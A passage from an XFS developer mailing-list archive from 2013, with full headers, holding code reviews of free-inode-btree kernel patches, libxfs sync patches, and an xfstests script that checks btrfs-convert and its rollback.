(8.13.8/8.13.8) with ESMTP id r85GMNt5020392 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 5 Sep 2013 12:22:24 -0400 Message-ID: <5228AEE7.2070207@redhat.com> Date: Thu, 05 Sep 2013 12:18:47 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 09/11] xfs: use and update the finobt on inode allocation References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-10-git-send-email-bfoster@redhat.com> <20130905022719.GW23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 09/11] xfs: use and update the finobt on inode allocation In-Reply-To: <20130905022719.GW23571@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378398145 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/04/2013 10:27 PM, Dave Chinner wrote: > On Tue, Sep 03, 2013 at 02:25:06PM -0400, Brian Foster wrote: >> Replace xfs_dialloc_ag() with an implementation that looks for a >> record in the finobt. The finobt only tracks records with at least >> one free inode. This eliminates the need for the intra-ag scan in >> the original algorithm. Once the inode is allocated, update the >> finobt appropriately (possibly removing the record) as well as the >> inobt. >> >> Move the original xfs_dialloc_ag() algorithm to >> xfs_dialloc_ag_slow() and fall back as such if finobt support is >> not enabled. >> >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_ialloc.c | 136 +++++++++++++++++++++++++++++++++++++++++++++++++++- >> 1 file changed, 135 insertions(+), 1 deletion(-) >> >> diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c >> index e64a728..516f4af 100644 >> --- a/fs/xfs/xfs_ialloc.c >> +++ b/fs/xfs/xfs_ialloc.c >> @@ -708,7 +708,7 @@ xfs_ialloc_get_rec( >> * available. >> */ ... > > Why do we need to initialise both cursors at once? We only do the > operations one at a time, and you should actually use 2 cursors > for the finobt lookup..... > No good reason. I probably just did that to simplify error handling. >> + >> + /* >> + * Search the finobt. >> + */ >> + error = xfs_inobt_lookup(fcur, pagino, XFS_LOOKUP_LE, &i); >> + if (error) >> + goto error; >> + if (i == 0) { >> + error = xfs_inobt_lookup(fcur, pagino, XFS_LOOKUP_GE, &i); >> + if (error) >> + goto error; >> + XFS_WANT_CORRUPTED_GOTO(i == 1, error); >> + } > > .... because this biases allocation to lower inode numbers than the > target. i.e we only ever search for higher numbers if here are none > lower. That's quite different to the current algorithm which first > searches for the *closest* free inode. > > That is, we should be using two cursors for the free inode search, > one for LE, the other for GT. If they both return records then, like > the "slow" algorithm, calculate the diff between them and the target > inode, and select the closer one (smallest diff). Destroy the cursor > you don't need. > Ah, Ok. I hadn't taken a close enough look at the existing algorithm yet, to be honest. I'll do so and incorporate the closest free inode heuristic. ... >> + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); >> + xfs_perag_put(pag); >> + >> + error = xfs_check_agi_freecount(fcur, agi); >> + if (error) >> + goto error; >> + error = xfs_check_agi_freecount(icur, agi); >> + if (error) >> + goto error; > > Failures here will result in 2 calls to xfs_perag_put(pag); > Yeah, thanks. Brian >> + >> + xfs_btree_del_cursor(icur, XFS_BTREE_NOERROR); >> + xfs_btree_del_cursor(fcur, XFS_BTREE_ERROR); >> + *inop = ino; >> + return 0; >> +error: >> + xfs_perag_put(pag); >> + xfs_btree_del_cursor(icur, XFS_BTREE_ERROR); >> + xfs_btree_del_cursor(fcur, XFS_BTREE_ERROR); >> + return error; >> +} > > Otherwise it looks good. > > Cheers, > > Dave. > From bfoster@redhat.com Thu Sep 5 11:22:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 76D7F7F51 for ; Thu, 5 Sep 2013 11:22:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 61FE98F8039 for ; Thu, 5 Sep 2013 09:22:51 -0700 (PDT) X-ASG-Debug-ID: 1378398170-04cb6c2e9dd7c050001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id xOtK5NJg8klvayVz for ; Thu, 05 Sep 2013 09:22:50 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r85GMnLL018663 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 5 Sep 2013 12:22:49 -0400 Received: from laptop.bfoster (vpn-59-119.rdu2.redhat.com [10.10.59.119]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r85GMmRd012406 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 5 Sep 2013 12:22:49 -0400 Message-ID: <5228AF00.7080700@redhat.com> Date: Thu, 05 Sep 2013 12:19:12 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-11-git-send-email-bfoster@redhat.com> <20130905025421.GX23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free In-Reply-To: <20130905025421.GX23571@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378398170 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/04/2013 10:54 PM, Dave Chinner wrote: > On Tue, Sep 03, 2013 at 02:25:07PM -0400, Brian Foster wrote: >> An inode free operation can have several effects on the finobt. If >> all inodes have been freed and the chunk deallocated, we remove the >> finobt record. If the inode chunk was previously full, we must >> insert a new record based on the existing inobt record. Otherwise, >> we modify the record in place. >> >> Create the xfs_ifree_finobt() function to identify the potential >> scenarios and update the finobt appropriately. > > The first thing I'd do is factor all the inobt manipulation > code xfs_difree() into a xfs_difree_inobt() helper function. have it > return the record and offset that is then passed to your new helper > xfs_difree_finobt(). That way xfs_difree() really becomes the setup > function for the two btree operations rather than containing one set > of modifications and calling a function to do the other... > Sounds logical. >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_ialloc.c | 120 ++++++++++++++++++++++++++++++++++++++++++++++++++++ >> 1 file changed, 120 insertions(+) >> >> diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c >> index 516f4af..96f71b5 100644 >> --- a/fs/xfs/xfs_ialloc.c >> +++ b/fs/xfs/xfs_ialloc.c >> @@ -198,6 +198,117 @@ xfs_inobt_insert( >> } >> >> /* >> + * Free an inode in the free inode btree. >> + */ >> +STATIC int >> +xfs_ifree_finobt( ... > > I can't say I'm a great fan of the layout of the logic. Yes, there's > lots of cases to handle. It looks like: > Yeah, I've shuffled this code around quite a bit myself. > lookup() > if (found) > modify in place > if (found && full && deleting chunks) > delete record > else if (!found && no record) > insert record > else if (found) > update record > else > corruption! > > I think it woul dbe better to get then "!found" case out of the way > at the start. ie > > if (i == 0) { > if (ibtrec->ir_freecount == 1) > insert record > else > CORRUPTION > goto out; > } > > /* found a record, no need to check i == 1 anymore */ > ASSERT(i == 1); > > /* read and update */ > > if (full && deleting chunks) > delete record > else > update record > Ok, I'll try to pull that logic up and see what falls out. ... >> + } else if ((i == 0) && (ibtrec->ir_freecount == 1)) { >> + /* >> + * No existing finobt record and the inobt record has a single >> + * free inode. This means we've freed an inode in a previously >> + * fully allocated chunk. Insert a new record into the finobt >> + * based on the current inobt record. >> + */ >> + cur->bc_rec.i.ir_startino = ibtrec->ir_startino; >> + cur->bc_rec.i.ir_free = ibtrec->ir_free; >> + cur->bc_rec.i.ir_freecount = ibtrec->ir_freecount; >> + error = xfs_btree_insert(cur, &i); >> + if (error) >> + goto error; >> + ASSERT(i == 1); > > That's rather similar to the code in xfs_inobt_insert(). Indeed, > is you write a helper - xfs_inobt_insert_rec() - for this, then rather than modifying > xfs_inobt_lookup() to take extra parameters like I wondered for the > previous patch, leave it alonge and pass the parameters to > xfs_inobt_insert_rec() instead. > > Then this code is functionally identical to xfs_inobt_insert() done > during allocation.... > I think I'm parsing you after having another look at the code. xfs_inobt_lookup() remains as is and is potentially used from xfs_inobt_insert(). xfs_inobt_insert_rec() is introduced to set the cursor fields and do the insert and is used here and from xfs_inobt_insert(). At that point, this looks close to xfs_inobt_insert(), but I think using that here would introduce a duplicate lookup. Regardless, we'll see what the whole thing looks like at that point. Thanks for the reviews. :) Brian > Cheers, > > Dave. > From tinguely@sgi.com Thu Sep 5 11:32:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B6C237F3F for ; Thu, 5 Sep 2013 11:32:03 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 969618F8039; Thu, 5 Sep 2013 09:32:03 -0700 (PDT) Message-ID: <5228B203.4020505@sgi.com> Date: Thu, 05 Sep 2013 11:32:03 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 10/55] libxfs: sync dir2 kernel differences References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-11-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-11-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- syncs the libxfs/xfs_dir2.c, libxfs/xfs_dir2_data.c, libxfs/xfs_dir2_leaf.c, and libxfs/xfs_dir2_node.c to the Linux 3.12 to kernel patch 15-50. Reviewed-by: Mark Tinguely: From JBacik@fusionio.com Thu Sep 5 13:44:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BBB027F50 for ; Thu, 5 Sep 2013 13:44:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A9A9030408A for ; Thu, 5 Sep 2013 11:44:06 -0700 (PDT) X-ASG-Debug-ID: 1378406645-04cbb02c3bd74150001-w1Z2WR Received: from dkim2.fusionio.com (dkim2.fusionio.com [66.114.96.54]) by cuda.sgi.com with ESMTP id sOJ2IiyVpRDFbz6b (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Sep 2013 11:44:05 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.54 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim2.fusionio.com (Postfix) with ESMTP id 2E7879A06B9 for ; Thu, 5 Sep 2013 12:44:05 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1378406645; bh=/sCUhFsO18CYDovYep2Dx9ec7qCqnHE0Q+0cJR7hRYU=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=cxXEnqdjkKD8SI4Dx2jIcRLGq8ulb4mS1mm0ax5h3bJA4r21polg7k18fSouHJ/XM XICbRPqQuC8xh6isjgj4gYea/U6zGfp/v7oNygAJrp2boXps9bUiZ09Vcbx+V1I/do 2rdSaB71U5ELW5QlVhm9Qajoyd8KBmPUhlFybXV4= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx1.fusionio.com with ESMTP id wHHfHuKd1cVpJtkD (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Thu, 05 Sep 2013 12:44:04 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.158.1; Thu, 5 Sep 2013 12:44:03 -0600 Date: Thu, 5 Sep 2013 14:44:02 -0400 From: Josef Bacik To: Eric Sandeen CC: linux-btrfs , "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH] xfstests btrfs/309: test btrfs-convert Message-ID: <20130905184402.GE15634@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH] xfstests btrfs/309: test btrfs-convert References: <51FEB5AF.7060806@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <51FEB5AF.7060806@redhat.com> User-Agent: Mutt/1.5.21 (2011-07-01) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim2.fusionio.com[66.114.96.54] X-Barracuda-Start-Time: 1378406645 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140369 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sun, Aug 04, 2013 at 03:12:31PM -0500, Eric Sandeen wrote: > Turns out btrfs-convert broke on July 3, and lo! we > do not have a regression test, and now we have one, > and there was much rejoicing. > > Signed-off-by: Eric Sandeen > --- > > diff --git a/tests/btrfs/309 b/tests/btrfs/309 > new file mode 100755 > index 0000000..acb2d6d > --- /dev/null > +++ b/tests/btrfs/309 > @@ -0,0 +1,118 @@ > +#! /bin/bash > +# FS QA Test No. 309 > +# > +# Test btrfs-convert > +# > +# 1) create ext4 filesystem & populate it > +# 2) convert it to btrfs, mount it, verify contents > +# 3) verify archived ext4 image integriy & contents > +# 4) populate btrfs fs with new data > +# 5) roll back conversion to original ext4 > +# 6) verify rolled-back fs integrity & contents > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 Red Hat, Inc. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "== QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter.btrfs > + > +# real QA test starts here > + > +# Modify as appropriate. > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > + > +BTRFS_CONVERT_PROG="`set_prog_path btrfs-convert`" > +MKFS_EXT4_PROG="`set_prog_path mkfs.ext4`" > +E2FSCK_PROG="`set_prog_path e2fsck`" > + > +_require_command $BTRFS_CONVERT_PROG btrfs-convert > +_require_command $MKFS_EXT4_PROG mkfs.ext4 > +_require_command $E2FSCK_PROG e2fsck > + > +rm -f $seqres.full > + > +# Create & populate an ext4 filesystem > +$MKFS_EXT4_PROG -b 4096 $SCRATCH_DEV > $seqres.full 2>&1 || \ > + _notrun "Could not create ext4 filesystem" > +# Manual mount so we don't use -t btrfs or selinux context > +mount -t ext4 $SCRATCH_DEV $SCRATCH_MNT > + > +cp -aR /lib/modules/`uname -r`/ $SCRATCH_MNT > +_scratch_unmount > + > +# Convert it to btrfs, mount it, verify the data > +$BTRFS_CONVERT_PROG $SCRATCH_DEV >> $seqres.full 2>&1 || \ > + _fail "btrfs-convert failed" > +_scratch_mount || _fail "Could not mount new btrfs fs" > +# (Ignore the symlinks which may be broken/nonexistent) > +diff -r /lib/modules/`uname -r`/ $SCRATCH_MNT/`uname -r`/ 2>&1 | grep -vw "source\|build" > + > +# Old ext4 image file should exist & be consistent > +$E2FSCK_PROG -fn $SCRATCH_MNT/ext2_saved/image >> $seqres.full 2>&1 || \ > + _fail "archived ext4 image is corrupt" > + > +# And the files in that image should match > +mkdir -p $SCRATCH_MNT/mnt > +mount -o loop $SCRATCH_MNT/ext2_saved/image $SCRATCH_MNT/mnt || \ > + _fail "could not loop mount saved ext4 image" > +# Ignore the symlinks which may be broken/nonexistent > +diff -r /lib/modules/`uname -r`/ $SCRATCH_MNT/mnt/`uname -r`/ 2>&1 | grep -vw "source\|build" > +umount $SCRATCH_MNT/mnt > + > +# Now put some fresh data on the btrfs fs > +mkdir -p $SCRATCH_MNT/new > +cp -aR /lib/modules/`uname -r`/ $SCRATCH_MNT/new > + > +_scratch_unmount > + > +# Now restore the ext4 device > +$BTRFS_CONVERT_PROG -r $SCRATCH_DEV >> $seqres.full 2>&1 || \ > + _fail "btrfs-convert rollback failed" > + > +# Check it again > +$E2FSCK_PROG -fn $SCRATCH_DEV >> $seqres.full 2>&1 || \ > + _fail "restored ext4 image is corrupt" > + > +# Mount the un-converted ext4 device & check the contents > +mount -t ext4 $SCRATCH_DEV $SCRATCH_MNT > +# (Ignore the symlinks which may be broken/nonexistent) > +diff -r /lib/modules/`uname -r`/ $SCRATCH_MNT/`uname -r`/ 2>&1 | grep -vw "source\|build" > + > +_scratch_unmount > + > +# success, all done > +status=0 > +exit > diff --git a/tests/btrfs/309.out b/tests/btrfs/309.out > new file mode 100644 > index 0000000..2f5d4a9 > --- /dev/null > +++ b/tests/btrfs/309.out > @@ -0,0 +1 @@ > +== QA output created by 309 > diff --git a/tests/btrfs/group b/tests/btrfs/group > index bc6c256..7907abc 100644 > --- a/tests/btrfs/group > +++ b/tests/btrfs/group > @@ -9,3 +9,4 @@ > 276 auto rw metadata > 284 auto > 307 auto quick > +309 auto After fixing the test #'s it worked and looks reasonable. Reviewed-by: Josef Bacik Thanks, Josef From tinguely@sgi.com Thu Sep 5 13:46:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B12A47F50 for ; Thu, 5 Sep 2013 13:46:42 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 812FC8F804B; Thu, 5 Sep 2013 11:46:39 -0700 (PDT) Message-ID: <5228D18E.5040600@sgi.com> Date: Thu, 05 Sep 2013 13:46:38 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 11/55] libxfs: sync xfs_ialloc.c to the kernel code References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-12-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-12-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > include the missing xfs_difree() function. it's not used by > userspace, but it makes no sense to have just this one arbitrary > difference between the kernel and userspace files. > > Signed-off-by: Dave Chinner > --- No change in this reposting of the patch. adds xfs_difree(). Adds parts of kernel patches 83a9ba00 and 43df2ee6. changed variable "offset_agbno" in xfs_imap() from "xfs_agblock_t to "int" so patch 13/49 can move it back to "offset_agbno". good stuff. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 13:47:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 804197F50 for ; Thu, 5 Sep 2013 13:47:46 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3E85B8F804B; Thu, 5 Sep 2013 11:47:46 -0700 (PDT) Message-ID: <5228D1D1.9010507@sgi.com> Date: Thu, 05 Sep 2013 13:47:45 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 12/55] xfsprogs: define min/max once and use them everywhere. References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-13-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-13-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Signed-off-by: Dave Chinner > --- no change in this reporting of the patch. remove private min/max and define it in include/platform_defs.h where it is included in xfs.h and libxfs.h. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 13:50:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0148E7F50 for ; Thu, 5 Sep 2013 13:50:57 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id C5E3530408A; Thu, 5 Sep 2013 11:50:53 -0700 (PDT) Message-ID: <5228D28C.2060205@sgi.com> Date: Thu, 05 Sep 2013 13:50:52 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 13/55] libxfs: fix compile warnings References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-14-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-14-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Some of the code shared with userspace causes compilation warnings > from things turned off in the kernel code, such as differences in > variable signedness. Fix those issues. > > Signed-off-by: Dave Chinner > --- no change in the reposting of the patch convert a couple ASSERT to warn/exits, variable sign correction, non-DEBUG unused variable, default string value. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 13:55:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 92C597F51 for ; Thu, 5 Sep 2013 13:55:12 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 54691304082; Thu, 5 Sep 2013 11:55:12 -0700 (PDT) Message-ID: <5228D38F.3030505@sgi.com> Date: Thu, 05 Sep 2013 13:55:11 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 14/55] xfs: remove local fork format handling from xfs_bmapi_write() References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-15-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-15-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The conversion from local format to extent format requires > interpretation of the data in the fork being converted, so it cannot > be done in a generic way. It is up to the caller to convert the fork > format to extent format before calling into xfs_bmapi_write() so > format conversion can be done correctly. > > The code in xfs_bmapi_write() to convert the format is used > implicitly by the attribute and directory code, but they > specifically zero the fork size so that the conversion does not do > any allocation or manipulation. Move this conversion into the > shortform to leaf functions for the dir/attr code so the conversions > are explicitly controlled by all callers. > > Now we can remove the conversion code in xfs_bmapi_write. > > Signed-off-by: Dave Chinner > --- This reposted patch has not changed. same as kernel commit f3508bcd. Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 13:56:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 59B937F51 for ; Thu, 5 Sep 2013 13:56:36 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 18564304067; Thu, 5 Sep 2013 11:56:36 -0700 (PDT) Message-ID: <5228D3E3.5040300@sgi.com> Date: Thu, 05 Sep 2013 13:56:35 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 15/55] libxfs: local to remote format support of remote symlinks References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-16-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-16-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > This conversion was overlooked earlier on. Now that the differences > between userspace and kernel space are getting smaller this bug is > obvious. Fix it. > > Signed-off-by: Dave Chinner > --- This reposted patch has not changed. same content for xfs_symlink_local_to_remote() as kernel commit f948dd76 and moved from xfs_bmap.c to xfs_symlink.c Reviewed-by: Mark Tinguely From tinguely@sgi.com Thu Sep 5 14:01:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on 